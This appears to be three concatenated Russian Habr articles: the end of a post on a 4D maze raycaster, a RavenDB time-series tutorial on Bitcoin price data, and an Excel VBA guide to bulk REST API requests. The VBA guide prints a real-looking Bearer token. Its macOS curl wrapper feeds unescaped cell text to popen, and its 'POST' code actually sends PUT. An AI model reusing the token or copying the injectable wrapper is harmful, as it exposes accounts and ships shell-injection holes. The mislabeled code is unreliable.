Затем для каждой комнаты выбирается случайная стена и на неё ставится источник освещения, свет от которого распространяется рекурсивно поблочно во всех направлениях, уменьшая свою интенсивность на единицу на каждом блоке. Свет распространяется до тех пор, пока интенсивность не уменьшится до нуля, либо не встретится блок с интенсивностью большей, чем текущая, либо не встретится непустой блок.
Рендеринг
---------
Поскольку готовых движков для отображения четырёхмерных объектов не существует (или по крайней мере я не нашел таких), то написал свой программный рендерер. Производительность не ставилась в приоритет, поэтому был выбран простой для реализации метод рендера — рейкастинг, который можно описать всего несколькими основными шагами:
* С позиции игрока выпускается множество лучей так, чтобы они образовали прямоугольную область (поле зрения)
* Для каждого луча в цикле выполняется последовательный проход по нему с шагом в один блок
* Если на очередном шаге встретился непустой блок:
+ Вычисляется индекс грани и соответствующая ей 3D текстура, а так же степень её освещенности
+ По расстоянию до блока определяется координата в текстуре, из которой и получаем цвет пикселя; возвращаем его и прерываем цикл
Так как каждый луч формирует один пиксель, то в результате обработки всех лучей будет сформировано готовое изображение, которое остаётся просто вывести на экран.
Производительность такой реализации «в лоб» без всяких оптимизаций получилась ожидаемо крайне низкая, но в небольшом разрешении её хватило для получения комфортных FPS (на AMD Ryzen 5 2600 в 1280x720 и с использованием всех ядер выдаёт в среднем 60 FPS).
СкриншотыЗаключение
----------
В конечном итоге, получилась не столько полноценная игра, сколько демонстрация четырёхмерности в интерактивной форме. Если в дальнейшем её развивать, то можно ускорить рендер, реализовав рейкастинг на шейдерах (либо вообще избавиться от лучей и использовать вместо них алгоритмы растеризации). Также можно добавить генерацию более естественных структур, объекты произвольной формы, разнообразные цели и игровые механики ~~и запилить четырёхмерный майнкрафт, чего уж мелочиться~~.
**Скачать**: [исходный код](https://github.com/IronLynx/maze4d), [исполняемый файл для windows](https://github.com/IronLynx/maze4d/releases/download/v1.0/maze4d_win32.zip)
**Полезные ссылки**:
* основы рейкастинга: [1](https://github.com/ssloy/tinyraycaster/wiki/Part-1:-crude-3D-renderings), [2](https://lodev.org/cgtutor/raycasting.html)
* [подробная статья про визуализацию 4D объектов](http://eusebeia.dyndns.org/4d/vis/vis) | https://habr.com/ru/post/534964/ | null | ru | null |
# Обработка данных криптовалютного рынка в RavenDB с использованием временных рядов
Что если можно было бы хранить данные временных рядов вместе с «обычными» данными, избавившись от затрат времени, сил и ресурсов, связанных с использованием отдельной СУБД?
[RavenDB](https://ravendb.net/) — это документо-ориентированная NoSQL-база данных, оснащённая стандартной поддержкой работы с временными рядами. То есть — получается нечто вроде MongoDB со встроенной InfluxDB. Это позволяет применять RavenDB для хранения и обработки данных, получаемых с финансовых рынков. В частности — строить графики цены Bitcoin с использованием C# и TypeScript.
[Вот](https://youtu.be/yF-ReWqVaqU) 5-минутное видео, в котором приведено сравнение поддержки временных рядов в RavenDB с их поддержкой в других подобных системах.
В этом видео идёт речь об интересных рыночных данных и о построении ценовых графиков по образцу популярного приложения для трейдинга, разработанного компанией Robinhood. Данный материал посвящён разбору демонстрационного приложения. Когда вы его освоите, вы должны получить представление о том, как работать с временными рядами в RavenDB.
Что представляют собой данные временных рядов?
----------------------------------------------
«Временным рядом» (time series) обычно называют набор значений, упорядоченных по времени. Такие данные, по своей природе, обычно являются высокочастотными. Среди типичных источников временных рядов можно отметить IoT-устройства, различные вспомогательные ИТ-системы, системы аналитики, финансовые системы.
*Визуализация временных рядов*
Что такого особенного во временных рядах?
-----------------------------------------
У того, кто впервые столкнулся с временными рядами, может появиться такой вопрос: «Можно ли хранить подобные значения в документо-ориентированной базе данных или в виде строк в реляционной БД?».
*Сведения о курсе криптовалюты*
Поступить так можно, но подобные решения не отличаются масштабируемостью. При таком подходе к работе с временными рядами хранилище данных очень скоро окажется переполненным, а клиентскому приложению, со временем, будет всё тяжелее выполнять агрегирование данных.
До того, как в RavenDB появилась поддержка [временных рядов](https://ravendb.net/docs/article-page/5.0/csharp/studio/database/document-extensions/time-series), для работы с ними требовалось нечто вроде InfluxDB, что усложняло архитектуру соответствующих приложений.
Встроенная поддержка временных рядов в RavenDB решает вышеозначенные задачи благодаря следующим механизмам:
1. Поддержка координированных, атомарных транзакций в масштабах кластера.
2. Использование политик хранения данных, основанных на правилах, применение оптимизации хранилищ данных.
3. Выполнение запросов на стороне сервера и агрегирование данных с применением индексов.
Временные ряды — это «расширения» документов, в результате при их обработке система может пользоваться уже существующей инфраструктурой, применяемой для хранения документов и выполнения запросов к ним. Это упрощает работу с временными рядами и означает наличие встроенных в СУБД механизмов оптимизации такой работы.
Работа с рыночными данными
--------------------------
Я написал приложение, демонстрирующее работу с временными рядами на примере цены Bitcoin. На создание этого проекта меня вдохновила популярная программа для трейдеров, написанная компанией Robinhood.
*Демонстрационное приложение*
Его код, и написанный на C#, и рассчитанный на платформу Node.js, можно найти на [GitHub](https://github.com/ravendb/samples-crypto-app). Там же есть и пример базы данных, которую можно импортировать в собственный экземпляр RavenDB (ещё можно бесплатно попробовать эту СУБД, воспользовавшись RavenDB Cloud).
Данные о цене берутся с криптобиржи [KuCoin](https://www.kucoin.com/). В архитектуре моего приложения можно выделить три основных части:
* Система получения данных из внешнего мира: имеется фоновая задача, которая берёт данные из KuCoin и помещает их в RavenDB.
* Бэкенд: конечная точка HTTP, которая выполняет запрос данных из RavenDB.
* Фронтенд: приложение, обладающее веб-интерфейсом, которое выводит интерактивный график цены.
*Схема демонстрационного приложения*
Рассказывая об этом проекте, я исхожу из предположения о том, что читатель обладает начальными навыками работы с RavenDB. Я продемонстрирую приёмы работы с временными рядами с применением графического инструмента RavenDB Studio и с использованием программного интерфейса — SDK RavenDB. Если вы не работали с RavenDB — [вот](https://ravendb.net/learn/bootcamp) курс для самостоятельного освоения, который позволит вам узнать всё что нужно для понимания того, о чём я расскажу.
Управление временными рядами в RavenDB Studio
---------------------------------------------
Начнём с рассказа о том, как работать с временными рядами в RavenDB Studio.
### ▍Добавление временных рядов в документы
В нашей учебной базе данных имеется документ, представляющий биржевой символ Bitcoin (BTC-USDT).
*Документ, представляющий BTC-USDT*
Как видите, в самом документе нет временных рядов.
### ▍Создание коллекций временных рядов
Временные ряды при работе в RavenDB Studio можно добавить в базу данных с помощью боковой панели документа.
*Панель свойств документа в RavenDB Studio*
Не существует пустых временных рядов. Временные ряды «создаются» при присоединении к документу нового значения временного ряда. А после того, как из временного ряда удаляют последнее значение — он исчезает.
Записи временных рядов включают в себя различные данные. В частности — имя ряда, отметку времени и значения, соответствующие этой отметке времени.
*Структура элемента временного ряда*
Здесь первые четыре значения являются именованными (`Open`, `Close`, `High`, `Low`), а последнее значение идентифицируется лишь его номером (`Value #4`). По умолчанию значения временных рядов являются неименованными. Доступ к ним осуществляется по индексам. Но, если нужно, им можно давать имена.
### ▍Подготовка к использованию именованных значений временных рядов
В RavenDB Studio, в разделе `Settings > Time Series`, можно найти интерфейс для управления настройками временных рядов с привязкой к коллекции документов.
*Настройка временных рядов в RavenDB Studio*
Каждое имя связано с индексом значения записи и с именем временного ряда.
Работа с временными рядами посредством API
------------------------------------------
Работа с временными рядами в RavenDB Studio организована очень удобно. Но с данными временных рядов работают, в основном, из кода.
### ▍Добавление к временным рядам новых данных и обновление существующих значений
В нашем приложении данные, попадающие во временной ряд, загружаются из API KuCoin с помощью Node.js-приложения (фонового задания), написанного на TypeScript и работающего на Azure Functions.
Примеры кода, приведённые в этом разделе, написаны на TypeScript.
После открытия [сессии RavenDB](https://ravendb.net/docs/article-page/4.0/nodejs/client-api/session/opening-a-session) работа с API, дающим доступ к данным временных рядов, начинается с обращения к соответствующему документу. В нашем случае сначала, по ID, загружается документ, имеющий отношение к Bitcoin:
```
let symbolDoc = await session.load(`MarketSymbols/${marketSymbol}`);
if (!symbolDoc) {
symbolDoc = {
symbol: marketSymbol,
"@metadata": {
"@collection": "MarketSymbols",
},
};
await session.store(symbolDoc, `MarketSymbols/${marketSymbol}`);
}
```
Так как временной ряд должен быть связан с документом, нам, прежде чем мы сможем пользоваться API `timeSeriesFor`, нужно будет создать временной ряд, поступив так в том случае, если он пока не создан.
```
const timeSeries = session.timeSeriesFor(symbolDoc, "history");
```
API `timeSeriesFor` принимает сущность (документ) и имя коллекции значений временного ряда. Это (пока) не приводит к загрузке каких-либо данных.
API KuCoin возвращает данные об изменениях цены между двумя отметками времени в виде «[японской свечи](https://www.investopedia.com/trading/candlestick-charting-what-is-it/)». Вот как это выглядит.
*Японские свечи (взято с* [*Investopedia*](https://www.investopedia.com/trading/candlestick-charting-what-is-it/)*)*
KuCoin представляет данные свечей в виде кортежа. Каждый его элемент соответствует набору значений, характеризующий одну свечу.
Наш TypeScript-код перебирает элементы, характеризующие свечи, и, применяя [деструктурирование массивов](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment), извлекает значения, после чего помещает их во временной ряд RavenDB:
```
for (const bucket of buckets) {
const [
startTime,
openPrice,
closePrice,
highPrice,
lowPrice
] = bucket;
const timestamp = dayjs.unix(startTime);
timeSeries.append(
timestamp.toDate(),
[openPrice, closePrice, highPrice, lowPrice]
);
}
```
Метод `append` принимает отметку времени (тут используется вспомогательная библиотека [dayjs](https://npmjs.com/package/dayjs)) и массив значений (сохранённых в порядке, соответствующем их индексам).
```
await session.store(symbolDoc, `MarketSymbols/${marketSymbol}`);
await session.saveChanges();
```
Как и при выполнении других операций, основанных на работе с документами, изменения временного ряда не вносятся в базу данных до вызова `saveChanges()`. Операции внесения изменений во временные ряды, выполняемые различными клиентами, не приводят к конфликтам, так как в RavenDB используется [механизм автоматического разрешения конфликтов](https://ravendb.net/docs/article-page/5.2/csharp/document-extensions/timeseries/design#no-conflicts).
После того, как фоновая задача загрузит данные и поместит их в RavenDB, мы можем обращаться к этим данным, можем передать их веб-фронтенду и построить график.
Загрузка данных временных рядов при загрузке документа
------------------------------------------------------
Наш фронтенд обращается к конечной точке REST, используя параметры запроса. В ответ он получает JSON-представление нужных данных, после чего строит график, пользуясь библиотекой [Apex Charts](https://www.npmjs.com/package/apexcharts). Здесь используется C# и .NET RavenDB SDK.
Здесь и далее приведены примеры кода, написанного на C#.
Когда клиент запрашивает данные по биржевому символу, код загружает документ, пользуясь его ID:
```
var symbol = await _session.LoadAsync(
$"MarketSymbols/{marketSymbol}", includes =>
includes.IncludeTimeSeries("history",
from: DateTime.UtcNow.AddDays(-1), to: DateTime.UtcNow));
```
API `IncludeTimeSeries` используется для загрузки данных временных рядов вместе с документами (тут используется стратегия «eager fetch»). Благодаря этому уменьшается количество сетевых запросов, отправляемых к базе данных и выполняется кеширование данных временных рядов в сессии. Аргументы `from` и `to` позволяют предотвратить загрузку в память всего набора данных.
После того, как документ будет загружен, можно воспользоваться API сессии `TimeSeriesFor` для обращения к элементам временного ряда:
```
var historyTimeSeries = _session.TimeSeriesFor(symbol, "history");
```
Обратите внимание на то, что мы используем тут дженерик-аргумент типа `SymbolPrice`. Это — структура, которая строго типизирует значения.
### ▍Организация поддержки именованных значений с помощью классов
Я рассказывал о том, как вручную настраивать имена значений в RavenDB Studio. Но то же самое можно сделать и в коде. Это позволяет рассматривать код приложения как источник истинной информации.
Создадим структуру для именования значений временного ряда:
```
public struct SymbolPrice
{
[TimeSeriesValue(0)] public double Open;
[TimeSeriesValue(1)] public double Close;
[TimeSeriesValue(2)] public double High;
[TimeSeriesValue(3)] public double Low;
}
```
`TimeSeriesValue` принимает индекс записи и связывает значение со свойством.
Теперь, после [инициализации DocumentStore](https://ravendb.net/docs/article-page/5.2/csharp/client-api/creating-document-store), зарегистрируем временной ряд, указав тип коллекции и имя временного ряда:
```
store.Initialize();
store.TimeSeries.Register("history");
```
Обратите внимание на то, что подобное возможно лишь в SDK, рассчитанных на платформы и языки, в которых применяется строгая типизация, вроде .NET и Java.
### ▍Загрузка исходных данных временного ряда
После того, как будет загружен документ, можно получить самые свежие записи временного ряда:
```
var historyTimeSeries = _session.TimeSeriesFor(symbol, "history");
var latestEntries = await historyTimeSeries.GetAsync(
from: DateTime.UtcNow.AddDays(-1), to: DateTime.UtcNow);
```
Если бы мы не воспользовались подсказкой `IncludeTimeSeries`, то вызов `GetAsync` привёл бы к выполнению дополнительных обращений к базе данных. А при таком подходе данные загружаются из кеша сессии.
Мы, учитывая [возможности](http://ravendb.net/docs/article-page/5.2/Csharp/indexes/stale-indexes) RavenDB по поддержанию данных в актуальном состоянии, можем воспользоваться последней записью для получения последней цены,:
```
var latestEntry = latestEntries.LastOrDefault();
viewModel.LastUpdated = latestEntry?.Timestamp;
viewModel.LastPrice = latestEntry?.Value.Close ?? 0;
```
### ▍Выполнение запросов к данным временных рядов и их агрегирование
Нашим следующим шагом на пути построения графика будет агрегирование данных с применением выбранного временного окна — вроде «прошлый день» или «прошлая неделя».
При использовании традиционных баз данных нам пришлось бы загрузить весь набор данных и самостоятельно привести данные к нужному виду. Это привело бы к необходимости поместить в память все данные временного ряда.
В RavenDB данные временных рядов индексированы. Их можно группировать и сортировать на сервере баз данных, а уже потом — возвращать клиенту. В нашем распоряжении оказываются и другие полезные возможности, которые дают разработчикам [индексы](https://ravendb.net/articles/nosql-document-database-indexing).
Воспользуемся API сессии `Query` для выполнения запроса к коллекции:
```
var aggregatedHistoryQueryResult = await _session.Query()
.Where(c => c.Id == symbolId)
```
Потом можно, для конструирования выражения запроса к временному ряду, применить вспомогательную функцию из `RavenQuery.TimeSeries`:
```
var aggregatedHistoryQueryResult = await _session.Query()
.Where(c => c.Id == symbolId)
.Select(c => RavenQuery.TimeSeries(c, "history")
.Where(s => s.Timestamp > fromDate)
.GroupBy(groupingAction)
.Select(g => new
{
First = g.First(),
Last = g.Last(),
Min = g.Min(),
Max = g.Max()
})
.ToList()
).ToListAsync();
```
Для построения запроса к временному ряду мы пользуемся двумя переменными: `fromDate` и `groupingAction`.
Значение `fromDate` вычисляется на основании параметров временного окна, нужного для вывода данных во фронтенде:
```
var marketTime = GetMarketTime();
var fromDate = aggregation switch
{
AggregationView.OneDay => marketTime.LastTradingOpen,
AggregationView.OneWeek => DateTime.UtcNow.AddDays(-7),
AggregationView.OneMonth => DateTime.UtcNow.AddMonths(-1),
AggregationView.ThreeMonths => DateTime.UtcNow.AddMonths(-3),
AggregationView.OneYear => DateTime.UtcNow.AddYears(-1),
AggregationView.FiveYears => DateTime.UtcNow.AddYears(-5)
};
```
Этот код (основываясь на «наивных» предположениях) определяет моменты начала и окончания торгов, после чего возвращает подходящую дату, которую можно использовать в запросе для фильтрации данных.
Объект `groupingAction` — это, в конечном счёте, то, что группирует точки данных временного ряда. В его основе лежат сведения том, данные в каком временном окне надо вывести программе. API `ITimePeriodBuilder` применяется для построения корректного выражения запроса на группировку данных с использованием простых единиц измерения времени:
```
Action groupingAction = aggregation switch
{
AggregationView.OneDay => builder => builder.Minutes(5),
AggregationView.OneWeek => builder => builder.Minutes(10),
AggregationView.OneMonth => builder => builder.Hours(1),
AggregationView.ThreeMonths => builder => builder.Hours(24),
AggregationView.OneYear => builder => builder.Hours(24),
AggregationView.FiveYears => builder => builder.Days(7),
};
```
Объект `groupingAction` сообщает RavenDB о том, как нужно сгруппировать данные перед возвратом. Делается это за счёт внутренних механизмов перевода соответствующих сведений на язык запросов Raven. Благодаря этому вся нагрузка по обработке данных перекладывается на сервер баз данных.
После того, как в нашем распоряжении оказываются запрошенные данные — мы строим модель и назначаем значения цен каждой группе:
```
var historyBuckets = new List();
foreach (var seriesAggregation in aggregatedHistory.Results)
{
historyBuckets.Add(new MarketSymbolTimeBucket()
{
Timestamp = seriesAggregation.From,
OpeningPrice = seriesAggregation.First.Open,
ClosingPrice = seriesAggregation.Last.Close,
HighestPrice = seriesAggregation.Max.High,
LowestPrice = seriesAggregation.Min.Low,
});
}
```
Используя структуру, обеспечивающую работу с именованными значениями (`SymbolPrice`), мы можем обращаться к агрегированным значениям для каждой ценовой группы. Например, цена открытия будет первым значением в группе, `Open`, а цена закрытия будет последним значением — `Close`.
Такое представление модели после этого возвращается клиенту в формате JSON, на основании этих данных можно построить график.
Итоги
-----
Поддержка временных рядов в RavenDB соперничает со специализированными продуктами, вроде InfluxDB. В RavenDB, при этом, имеется намного больше возможностей, чем те, о которых мы говорили. Это, например, политики агрегирования данных одних временных рядов и помещения их в другие временные ряды, тегирование, пользовательское индексирование временных рядов, «инкрементирование» временных рядов.
Хотите лучше со всем этим разобраться? Обратитесь к материалам моего проекта на [GitHub](https://github.com/ravendb/samples-crypto-app).
Какими СУБД вы пользуетесь для работы с временными рядами?
[](http://ruvds.com/rurub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_conten%0At=obrabotka_dannyx_kriptovalyutnogo_rynka_v_ravendb_s_ispolzovaniem_vremennyx_ryadov) | https://habr.com/ru/post/657353/ | null | ru | null |
# Как Excel и VBA помогают отправлять тысячи HTTP REST API запросов
Работая в IoT-сфере и плотно взаимодействуя с одним из основных элементов данной концепции технологий – сетевым сервером, столкнулся вот с какой проблемой (задачей): необходимо отправлять много запросов для работы с умными устройствами на сетевой сервер. На сервере был реализован REST API с оболочкой Swagger UI, где из графической оболочки можно было отправлять только разовые запросы. Анализ сторонних клиентов, типа Postman или Insomnia показал, что простого визуального способа поместить в скрипт массив из необходимого перечня идентификаторов устройств (или любых других элементов сервера), для обращения к ним – не нашлось.
Так как большая часть работы с выгрузками и данными была в Excel, то решено было вспомнить навыки, полученные на учебе в университете, и написать скрипт на VBA, который бы мою задачку решал.
Необходимо было:
* получать информацию по устройствам с различными параметрами фильтрации (**GET**);
* применять изменения в конфигурации по устройствам: имя, профиль устройства, сетевые лицензии и пр. (**PUT**);
* отправлять данные для конфигурации и взаимодействия с устройствами (**POST**).
И сегодня я расскажу вам про то, как с помощью Excel, пары формул и самописных функций на VBA можно реализовать алгоритм, отправляющий любое необходимое количество REST-API запросов с использованием авторизации Bearer Token.
Данная статья будет полезная тем, кто воспользуется данным решением под Windows, но еще больше она будет полезна тем людям, которые хотят использовать данное решение на MacOS (с Excel x64). Как вы уже догадались, ниже будут рассмотрены два варианта реализации под разные системы, так как с MacOS есть нюанс.
---
### Часть 1. Реализация решения под Windows
**GET**
Начнем с самого простого: GET – запросов. В данном примере необходимо получить ответ (информацию) от сервера по заданному списку устройств.
Для реализации GET – запросов нам дано:
1) Ссылка, в которой указываются параметры запроса.
<https://dx-api.thingpark.io/core/latest/api/devices?deviceEUI=>
2) Заголовки запроса + Токен авторизации (Bearer Token)
--header 'Accept: application/json' --header 'Authorization: Bearer
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzY29wZSI6WyJTVUJTQ1JJQkVSOjY3MDAiXSwiZXhwIjozNzc0MTY0MzE4LCJqdGkiOiI5OTNiOTk1Ny03NGY1LTQ5MDgtYjg4Ni0xYjk5NTVkZDQwZTEiLCJjbGllbnRfaWQiOiJkZXYxLWFwaS9lcnRoLnRlY2guZGVzayt2bGFkaXNsYXYuZ2F0Y2Vua29AZ21haWwuY29tIn0.dqybsMdVXXpQV8\_ykufNZoQpSPZrVA67uieOJan-qs8W7rAImyy0552buniHXPWy6ilvdwJKPCdIKE\_\_LghP6A
3) Параметр, указываемый в ссылке (в данном примере это идентификаторы устройств – DevEUI):
1ABCDEFF00AABBCC
0016ACC4DCF15A23
D88039FFFE954DF4
0000000000001103
0000000000001104
Имея такие данные на входе, делаем в Excel лист-шаблон, который заполняем в соответствии с тем, что имеем:
* столбец А уходит вот значения параметров
* столбец F уходит под ссылку-родителя
* столбец H уходит под заголовки, где в ячейке H1 единоразово для текущего листа указывается токен:
`=СЦЕП("--header 'Accept: application/json' --header 'Authorization: Bearer ";$H$1;"'")`
* столбец I уходит под URL (ссылки-дети, на основе ссылки-родителя)
`=СЦЕПИТЬ($F$1;A2)`
* столбец J уходит под результат (ответ от сервера)
Шаблон листа для GET-запросовДалее, нам необходимо реализовать подпрограмму(макрос) отправки GET-запросов. Состоит она из четырех частей:
1. цикла, который считает количество строк для работы по листу, пробегая по столбцу А с 2 по первую пустую ячейку, чтобы у цикла был конец.
2. функции, для работы с REST API (используется стандартная, библиотека Msxml2.XMLHTTP.6.0, встроенная в Windows., поэтому сложностей с реализацией не возникает. Для MacOS есть альтернатива)
3. временной задержки, в случае если нужно отправлять запросы не сразу, после получения ответа, а задав время ожидания
4. таймером, который показывает время выполнения всего макроса после завершения
Код:
```
Sub GET_Request()
Dim i As Integer
Dim j As Integer
Dim objHTTP As Object
Dim Json As String
Dim result As String
Dim URL As String
Dim Token As String
a = Timer
i = 1
Do While Not IsEmpty(Cells(i, 1))
i = i + 1
Loop
i = i - 1
'MsgBox i
For j = 2 To i
Json = Range("D" & j)
URL = Range("I" & j)
Token = Range("H1")
Set objHTTP = CreateObject("Msxml2.XMLHTTP.6.0")
objHTTP.Open "GET", URL, False
objHTTP.setRequestHeader "Content-type", "application/json"
objHTTP.setRequestHeader "Accept", "application/json"
objHTTP.setRequestHeader "Authorization", "Bearer " + Token
objHTTP.Send (Json)
result = objHTTP.responseText
Range("J" & j).Value = result
Set objHTTP = Nothing
'Application.Wait (Now + TimeValue("0:00:01"))
Next j
MsgBox Timer - a
End Sub
```
Привязываем подпрограмму к кнопкам для удобства и выполним скрипт. Получается:
Таким образом, скрипт проходит по столбцу I, забирая из значения каждой ячейки URL, для тех строк, где в столбце А есть значения (которые и подставляются в URL). Для удобства также сделаны кнопки очистки полей и подсветка запросов условным форматированием, в случае успешного ответа на запрос.
**PUT**
Чуть-чуть усложним задачу и перейдем к PUT-запросам. В данном примере необходимо изменить профиль устройства, чтобы сервер по-другому с ним взаимодействовал.
К исходным данным для GET – запроса добавляется тело запроса с ключем-значением (п4). Итого дано:
1) Ссылка, в которой указываются параметры запроса.
<https://dx-api.thingpark.io/core/latest/api/devices/>
2) Заголовки запроса + Токен авторизации (Bearer Token)
--header 'Content-Type: application/json' --header 'Accept: application/json' --header 'Authorization: Bearer
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzY29wZSI6WyJTVUJTQ1JJQkVSOjY3MDAiXSwiZXhwIjozNzc0MTY0MzE4LCJqdGkiOiI5OTNiOTk1Ny03NGY1LTQ5MDgtYjg4Ni0xYjk5NTVkZDQwZTEiLCJjbGllbnRfaWQiOiJkZXYxLWFwaS9lcnRoLnRlY2guZGVzayt2bGFkaXNsYXYuZ2F0Y2Vua29AZ21haWwuY29tIn0.dqybsMdVXXpQV8\_ykufNZoQpSPZrVA67uieOJan-qs8W7rAImyy0552buniHXPWy6ilvdwJKPCdIKE\_\_LghP6A
3) Параметр, указываемый в ссылке (в данном примере это внутренние идентификаторы устройств – hRef):
17272
18199
17242
17245
17248
4) Тело запроса, с ключом и значением:
{"deviceProfileId":"LORA/GenericA.1.0.3a\_ETSI"}
Немного дополняем новый PUT-лист в Excel по сравнению с GET (остальное без изменений):
* новый столбец B теперь отвечает за ключ deviceProfileId (ячейка B1), а все значения ниже за его возможные значения)
* столбец D отвечает за формирование итогового тела сообщения в формате JSON.
`=СЦЕПИТЬ("'{""";$B$1;""":""";B2;"""";"}'")`
Немного поменяем макрос и вынесем его в отдельную подпрограмму:
Код:
```
Sub PUT_Request()
Dim i As Integer
Dim j As Integer
Dim objHTTP As Object
Dim Json As String
Dim result As String
Dim URL As String
Dim Token As String
a = Timer
i = 1
Do While Not IsEmpty(Cells(i, 1))
i = i + 1
Loop
i = i - 1
'MsgBox i
For j = 2 To i
Json = Range("D" & j)
URL = Range("I" & j)
Token = Range("H1")
Set objHTTP = CreateObject("Msxml2.XMLHTTP.6.0")
objHTTP.Open "PUT", URL, False
objHTTP.setRequestHeader "Content-type", "application/json"
objHTTP.setRequestHeader "Accept", "application/json"
objHTTP.setRequestHeader "Authorization", "Bearer " + Token
objHTTP.Send (Json)
result = objHTTP.responseText
Range("J" & j).Value = result
Set objHTTP = Nothing
'Application.Wait (Now + TimeValue("0:00:01"))
Next j
MsgBox Timer - a
End Sub
```
Привяжем макрос к кнопке и выполним.
Логика абсолютно аналогична GET запросу.
**POST**
Для POST запросов все аналогично PUT. Только немного меняется код в части типа запроса. В данном примере на устройство отправляется команда-конфигурация с указанием тела посылки (payload\_hex) и порта (fport) для конкретного устройства.
Код:
```
Sub PUT_Request()
Dim i As Integer
Dim j As Integer
Dim objHTTP As Object
Dim Json As String
Dim result As String
Dim URL As String
Dim Token As String
a = Timer
i = 1
Do While Not IsEmpty(Cells(i, 1))
i = i + 1
Loop
i = i - 1
'MsgBox i
For j = 2 To i
Json = Range("D" & j)
URL = Range("I" & j)
Token = Range("H1")
Set objHTTP = CreateObject("Msxml2.XMLHTTP.6.0")
objHTTP.Open "PUT", URL, False
objHTTP.setRequestHeader "Content-type", "application/json"
objHTTP.setRequestHeader "Accept", "application/json"
objHTTP.setRequestHeader "Authorization", "Bearer " + Token
objHTTP.Send (Json)
result = objHTTP.responseText
Range("J" & j).Value = result
Set objHTTP = Nothing
'Application.Wait (Now + TimeValue("0:00:01"))
Next j
MsgBox Timer - a
End Sub
```
Получившаяся таблица выглядит следующим образом:
 На этом часть для Windows заканчивается. Здесь все оказалось довольно просто: стандартная библиотека, простенький алгоритм перебора значений в цикле.
---
Часть 2. Реализация решения под MacOS и Excel 64-bit
----------------------------------------------------
В виду того, что работал я на двух машинах под управлением разных ОС, хотелось, чтобы решение было универсальным. В итоге, собрав по крупицам информацию по интернет-форумам с данной тематикой у меня вышло следующее решение. Принцип работы его остается схожим, а изменения были внесены в часть, где использовалась стандартная библиотека WindowsMsxml2.XMLHTTP.6.0, которой в MacOS не было по понятным причинам.
Чтобы обойти данное ограничение, был выбран единственный рабочий подход через cUrl, exec и функции. Данное решение точно работает под версией MacOS 10.14 и Excel 16.51. Функция ниже, в том или ином виде, встречается на различных форумах, однако на текущих версиях софта – не работает. В итоге, после небольших правок получили рабочий вариант:
Была отлажена функция вызова ExecShell:
Код:
```
Option Explicit
Private Declare PtrSafe Function popen Lib "/usr/lib/libc.dylib" (ByVal Command As String, ByVal Mode As String) As LongPtr
Private Declare PtrSafe Function pclose Lib "/usr/lib/libc.dylib" (ByVal file As LongPtr) As Long
Private Declare PtrSafe Function fread Lib "/usr/lib/libc.dylib" (ByVal outStr As String, ByVal size As LongPtr, ByVal items As LongPtr, ByVal stream As LongPtr) As Long
Private Declare PtrSafe Function feof Lib "/usr/lib/libc.dylib" (ByVal file As LongPtr) As LongPtr
Function execShell(Command As String, Optional ByRef exitCode As Long) As String
Dim file As LongPtr
file = popen(Command, "r")
If file = 0 Then
Exit Function
End If
While feof(file) = 0
Dim chunk As String
Dim read As Long
chunk = Space(500)
read = fread(chunk, 1, Len(chunk) - 1, file)
If read > 0 Then
chunk = Left$(chunk, read)
execShell = execShell & chunk
End If
Wend
exitCode = pclose(file)
End Function
```
И написаны отдельные функции для работы с различным методами GET / PUT / POST, которые на входе принимают URL и параметры):
Код:
```
Function HTTPGet(sUrl As String, sQuery As String) As String
Dim sCmd As String
Dim sResult As String
Dim lExitCode As Long
sCmd = "curl -X GET " & sQuery & "" & " " & sUrl
sResult = execShell(sCmd, lExitCode)
HTTPGet = sResult
End Function
Function HTTPPost(sUrl As String, sQuery1 As String, sQuery2 As String) As String
Dim sCmd As String
Dim sResult As String
Dim lExitCode As Long
sCmd = "curl -X POST " & sQuery1 & "" & " -d " & sQuery2 & "" & " " & sUrl
sResult = execShell(sCmd, lExitCode)
HTTPPost = sResult
End Function
Function HTTPPut(sUrl As String, sQuery1 As String, sQuery2 As String) As String
Dim sCmd As String
Dim sResult As String
Dim lExitCode As Long
sCmd = "curl -X PUT " & sQuery1 & "" & " -d " & sQuery2 & "" & " " & sUrl
sResult = execShell(sCmd, lExitCode)
HTTPPut = sResult
End Function
```
Так как мы заменяем библиотеку Msxml2.XMLHTTP.6.0 – поменялась реализация макросов в этой части: мы заменили Msxml2 на написанные выше функции и получили следующее:
Код:
```
'GET-запросы
Sub SendGETRequest()
Dim i As Integer
Dim j As Integer
Dim result As String
Dim URL As String
Dim Auth As String
a = Timer
'Подсчет заполненных ячеек первого столбца
i = 1
Do While Not IsEmpty(Cells(i, 1))
i = i + 1
Loop
i = i - 1
'Цикл, который отправляет запрос от 2 до последнего элемента
For j = 2 To i
URL = Range("I" & j)
Auth = Range("H" & j)
result = HTTPGet(URL, Auth)
Range("J" & j).Value = result
'Application.Wait (Now + TimeValue("0:00:01"))
Next j
MsgBox Timer - a
End Sub
'PUT-запросы
Sub SendPUTRequest()
Dim i As Integer
Dim j As Integer
Dim result As String
Dim URL As String
Dim Auth As String
Dim Message As String
a = Timer
'Подсчет заполненных ячеек первого столбца
i = 1
Do While Not IsEmpty(Cells(i, 1))
i = i + 1
Loop
i = i - 1
'Цикл, который отправляет запрос от 2 до последнего элемента
For j = 2 To i
Message = Range("D" & j)
URL = Range("I" & j)
Auth = Range("H" & j)
result = HTTPPut(URL, Auth, Message)
Range("J" & j).Value = result
'Application.Wait (Now + TimeValue("0:00:01"))
Next j
MsgBox Timer - a
End Sub
'POST-запросы
Sub SendPOSTRequest()
Dim i As Integer
Dim j As Integer
Dim result As String
Dim URL As String
Dim Auth As String
Dim Message As String
a = Timer
'Подсчет заполненных ячеек первого столбца
i = 1
Do While Not IsEmpty(Cells(i, 1))
i = i + 1
Loop
i = i - 1
'Цикл, который отправляет запрос от 2 до последнего элемента
For j = 2 To i
Message = Range("D" & j)
URL = Range("I" & j)
Auth = Range("H" & j)
result = HTTPPost(URL, Auth, Message)
Range("J" & j).Value = result
'Application.Wait (Now + TimeValue("0:00:01"))
Next j
MsgBox Timer – a
```
---
Итог
----
В итоге, у меня получилось аналогичное windows по работе и функционалу решение для MacOS c использованием Excel 64-bit.
На просторах интернета я не нашел какого-то сборного и единого описания, только фрагменты кода и подходов, которые в большинстве случаев не работали полностью или частично. Поэтому решил объединить все в рабочее решение и выложить на хабр для истории.
